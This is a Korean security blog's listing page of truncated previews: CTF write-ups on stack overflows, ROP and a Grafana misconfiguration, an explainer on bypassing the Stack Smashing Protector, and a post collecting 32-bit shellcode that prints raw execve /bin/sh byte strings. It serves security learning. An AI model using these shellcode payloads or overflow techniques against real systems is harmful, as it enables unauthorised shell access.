분류 전체보기

    Dreamhack - ssp_000

    Dreamhack - ssp_000

    오늘은 내가 ssp를 배운 기념으로 드림핵의 ssp문제를 풀어볼 것이다. 그러면 바로 코드를 살펴보겠다. #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void get_shell() { system("/bin/sh"); } int main(int argc, char *argv[]) { long addr; long value; char buf[0x40] = {};..

    SSP 보호기법 이란?(우회하는 방법)

    SSP 보호기법 이란?(우회하는 방법)

    Stack Smashing Protector(SSP)는 메모리 커럽션 취약점 중 스택 버퍼 오버플로우 취약점을 막기 위해 개발된 보호 기법이다. SSP의 원리는 스택 버퍼와 스택 프레임 포인터 사이에 Random값을 삽입하여 함수 종료 시점에서 랜덤 값 변조 여부를 검사하여 스택이 망가뜨려졌는지를 확인하는 방식이다. 그 랜덤 값을 Canary(카나리)라고 한다. 마스터 카나리는 main 함수가 호출되기 전에 랜덤으로 생성된 카나리를 스레드 별 전역 변수로 사용되는 TLS(Thread Local Storage)에 저장한다. TLS 영역은 _dl_allocate_tls_storage 함수에서 __libc_memalign 함수를 호출하여 할당한다. 아래는 _dl_allocate_tls_storage함수이다. ..

    Dreamhack - web-misconf-1

    Dreamhack - web-misconf-1

    오늘은 기본 로그인 시스템이 돌아가는 web-misconf-1을 풀어볼 것이다. 문제설명 기본 설정을 사용한 서비스입니다. 로그인한 후 Organization에 플래그를 설정해 놓았습니다. 일단 문제파일에 defaults.ini파일이 있다. 바로 확인해보자. ##################### Grafana Configuration Defaults ##################### # # Do not modify this file in grafana installs # # possible values : production, development app_mode = production # instance name, defaults to HOSTNAME environment variable val..

    Dreamhack - basic_exploitation_002

    Dreamhack - basic_exploitation_002

    오늘은 드림핵의 basic exploitation 2를 풀어볼 것이다. 일단 먼저 주어진 C코드르 확인해보자. #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void read_flag() { system("cat /flag"); } int main(int argc, char *argv[]) { char buf[0x80]; initialize(); gets(buf..

    HackCTF - ROP

    HackCTF - ROP

    오늘은 hackctf의 rop문제를 풀어볼 것이다. 떡하니 rop라고 되어 있으니 그냥 기본적인 rop 문제일 것같다. 그러면 먼저 main을 디스어셈블 해보자. (gdb) disas main Dump of assembler code for function main: 0x08048470 :lea ecx,[esp+0x4] 0x08048474 :and esp,0xfffffff0 0x08048477 :push DWORD PTR [ecx-0x4] 0x0804847a :push ebp 0x0804847b :mov ebp,esp 0x0804847d :push ecx 0x0804847e :sub esp,0x4 0x08048481 :call 0x804844b 0x08048486 :sub esp,0x4 0x0804848..

    HackCTF - BOF_Basic #1

    HackCTF - BOF_Basic #1

    오늘은 bof_basic 1을 풀어볼 것이다. 먼저 실행을 해보자. 위처럼 실행된다. 그런데 A를 위보다 더 많이 넣었더니 check가 0x41414141(A는 hex로 41)로 바뀌었다. 내 예상으로는 return address가 check인 것 같다. 그럼 먼저 main을 디스어셈블 해보자 (gdb) disas main Dump of assembler code for function main: 0x080484cb :lea ecx,[esp+0x4] 0x080484cf :and esp,0xfffffff0 0x080484d2 :push DWORD PTR [ecx-0x4] 0x080484d5 :push ebp 0x080484d6 :mov ebp,esp 0x080484d8 :push ecx 0x080484d9..

    Shellcode(쉘코드) 모음

    32bit shellcode 6 Bytes Shell Code \x31\xc0\xb0\x01\xcd\x80 25 Bytes Shell Code (기본 쉘코드) \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 26 Bytes Shell Code (scanf 우회 쉘코드) \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80 41 Bytes Shell Code (setreuid(geteuid(), getreuid()) 포함) \x31\xc0\xb..

    HackCTF - Simple_Overflow_ver_2

    HackCTF - Simple_Overflow_ver_2

    이번에는 simple overflow ver 2를 풀어볼 것이다. 먼저 프로그램을 실행해보자. 위처럼 데이터를 입력하고 어디에 값이 들어가는지 출력한다. 그리고 다시 하면 buf가 초기화되고 다시 값을 똑같은 위치에 입력한다. 그러면 먼저 main을 디스어셈블 해보자. Dump of assembler code for function main: 0x0804852d :push ebp 0x0804852e :mov ebp,esp 0x08048530 :push ebx 0x08048531 :sub esp,0x98 0x08048537 :mov eax,ds:0x804a040 0x0804853c :mov DWORD PTR [esp+0xc],0x0 0x08048544 :mov DWORD PTR [esp+0x8],0x2 0..